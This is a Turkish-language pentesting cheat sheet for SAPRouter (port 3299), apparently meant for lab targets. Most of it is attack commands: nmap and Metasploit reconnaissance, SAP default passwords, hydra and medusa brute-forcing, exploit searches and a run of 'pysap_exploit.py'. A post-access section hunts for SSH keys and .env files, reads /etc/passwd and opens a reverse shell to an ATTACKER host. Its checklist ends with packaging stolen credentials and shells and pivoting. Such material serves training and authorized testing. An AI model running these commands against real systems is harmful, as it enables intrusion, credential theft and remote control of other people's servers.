3299 - Pentesting SAPRouter

SAP erp

SAP gateway/RFC ve varsayılan hesaplar kritik ERP erişimi demektir. Hedef lab IP’si üzerinde komutları 3299 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 3200/3300/8000.

2. MSF SAP modules.

3. Default creds.

4. RFC call.

Keşif

nmap -Pn -sV -p3200,3300,8000,3299 TARGET

msfconsole -q -x 'use auxiliary/scanner/sap/sap_router_info_request; set RHOSTS TARGET; run'

Auth

SAP*/06071992, DDIC/19920706

msfconsole -q -x 'use auxiliary/scanner/sap/sap_soap_rfc_brute_login; set RHOSTS TARGET; run'

Abuse

searchsploit sap rfc

python3 pysap_exploit.py TARGET

Derin enum

SAPRouter için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p3299 TARGET

nmap -Pn -p3299 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3299' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',3299));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → SAPRouter

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 3299 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3299

nmap -p3299 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit SAP

msfconsole -q -x 'search SAP; exit'

nuclei -u https://TARGET:3299 -t cves/ -silent -severity || true

nuclei -u http://TARGET:3299 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 3299

printf '
' | timeout 3 nc -nv TARGET 3299

curl -vk --http1.0 http://TARGET:3299/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

ports → default SAP* → RFC/OS exec